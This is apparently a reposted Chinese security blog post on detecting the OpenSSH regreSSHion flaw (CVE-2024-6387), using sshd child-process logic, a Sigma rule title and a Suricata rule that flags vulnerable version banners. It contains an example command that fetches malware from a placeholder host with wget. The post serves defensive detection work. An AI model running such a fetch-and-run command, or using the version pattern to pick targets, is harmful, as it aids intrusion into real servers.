长亭百川云 - 文章详情

检测OpenSSH远程代码执行漏洞CVE-2024-6387(行为和流量)

天御攻防实验室

57

2024-07-13

背景:

Qualys团队在OpenSSH服务器(sshd)中发现了一个漏洞(信号处理程序竞争条件):如果客户端未能在LoginGraceTime秒内完成身份验证(默认为120秒,旧版OpenSSH为600秒),sshd的SIGALRM处理程序会被异步调用,但这个信号处理程序会调用各种非异步信号安全的函数(例如syslog())。这个竞争条件影响了默认配置下的sshd。经过调查,我们发现这个漏洞实际上是2006年由Mark Dowd报告的CVE-2006-5051("OpenSSH 4.4版本之前的信号处理程序竞争条件允许远程攻击者导致拒绝服务(崩溃),并可能执行任意代码")的重现。

简而言之:如果客户端在LoginGraceTime期间内未能完成身份验证,OpenSSH的SIGALRM信号处理程序中会出现竞争条件。当SIGALRM被触发时,它会使用不安全的异步函数来执行存储在内存中的代码。这个漏洞通过竞争条件造成内存损坏,从而使信号处理程序执行攻击者的代码而非预期代码。

1.行为

execve

在编写Linux检测内容时,理解execve的工作原理至关重要。虽然深入探讨可以留待以后,但了解基础知识对我们的目的来说已经足够了。以下是man页面对execve系统调用的描述:

execve()执行由filename指向的程序。filename必须是二进制可执行文件,或者以以下形式开头的脚本:

这意味着当你在shell中输入类似./exp的命令时,你实际上是在对相关的二进制文件或脚本调用execve系统调用,从而启动进程。这个动作通常会被auditd等工具记录。auditd生成的进程执行日志可以被视为类似于Windows事件ID 4688,后者记录进程创建事件。

整合检测策略

让我们回顾一下我们所知道的:

1. RegreSSHion(CVE-2024-6387)利用竞争条件在内存中执行shellcode。

2. shellcode将存储在sshd进程内存中,很可能包含某种形式的execve来执行命令或代码。

3. 由于sshd执行恶意shellcode,调用新进程,sshd很可能是被执行内容的父进程。

父进程关系是一个有用的检测组合,我们将用它来检测SSH的远程代码执行。

检测任何从sshd派生的shell会有问题,因为通常当你SSH进入系统时,会为你生成一个用于交互的shell。这是常见活动。然而,如果有人执行恶意bash命令,比如bash -c "wget https://xxx.com/malware",它会导致wget作为sshd的子进程出现。

父进程关系解释

当你执行bash -c "wget https://xxx.com/malware"时,sshd是启动用户会话并生成初始shell的父进程。在这种情况下,bash使用-c选项执行作为字符串提供的命令。一旦bash运行命令,它就会执行wget,但不会为它创建单独的父进程。因此,wget命令会显示为sshd的直接子进程,而不是bash的。这是因为bash -c在当前shell的上下文中执行命令,而该shell仍然是sshd的子进程。

Sigma规则

由于shell本身作为子进程太常见,仅凭SSH的工作方式无法检测,我们可以转而检测那些不太常见但可能需要执行的操作,比如下载第二阶段恶意软件或攻击工具,或者执行它们。考虑到这一点,我们可以创建一个Sigma规则来检测这种活动:

title: 检测SSH/SSHD的可疑子进程或命令

需要注意的是,虽然这可能会捕获大量的利用活动,但这个检测器并非万无一失,攻击者可能会规避它,部署时应该牢记这一点。

2.流量(Snort/Suricata检测规则)

alert ssh any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET INFO Server Responded with Vulnerable OpenSSH Version (CVE-2024-6387)"; flow:established,to_client; content:"SSH-"; startswith; content:"-OpenSSH_"; fast_pattern; pcre:"/^(?:[123]|4\.(?:[0123](?:p\d)?|4[^p])|8\.(?:[6789](?:p\d)?|5(?:p[^1])?)|9\.(?:[01234567](?:p\d)?|8[^p]))(?:\.\d)*(?:\d|p\d)*/R"; reference:cve,2024-6387; reference:url,blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server; classtype:successful-recon-largescale; sid:2054218; rev:2; metadata:attack_target Client_and_Server, created_at 2024_07_01, cve CVE_2024_6387, deployment Perimeter, deployment Internal, former_category EXPLOIT, performance_impact Significant, signature_severity Informational, updated_at 2024_07_02, former_sid 2857461, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application; target:dest_ip;)

推荐阅读

闲谈

  1. 中国网络安全行业出了什么问题?

  2. 国内威胁情报行业的五大“悲哀”

  3. 安全产品的终局

**
威胁情报**

1.威胁情报 - 最危险的网络安全工作
2.威胁情报专栏 | 威胁情报这十年(前传)
3.网络威胁情报的未来
4.情报内生?| 利用威胁情报平台落地网空杀伤链的七种方法
5.威胁情报专栏 | 特别策划 - 网空杀伤链
**
APT**

  1. XZ计划中的后门手法 - “NOBUS”

  2. 十个常见的归因偏见(上)

  3. 抓APT的一点故事

  4. 揭秘三角行动(Operation Triangulation)一

  5. 闲话APT报告生产与消费

  6. 一名TAO黑客的网络安全之旅

  7. NSA TAO负责人警告私营部门不要搞“黑回去”

**
入侵分析与红队攻防**

  1. 入侵分析与痛苦金字塔

  2. 资深红队专家谈EDR的工作原理与规避

**
天御智库**

  1. 独家研判:五眼情报机构黑客纷纷浮出水面

  2. 美军前出狩猎并不孤单,美国网络外交局优先事项分析

  3. 《国际关系中的网络冲突》

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2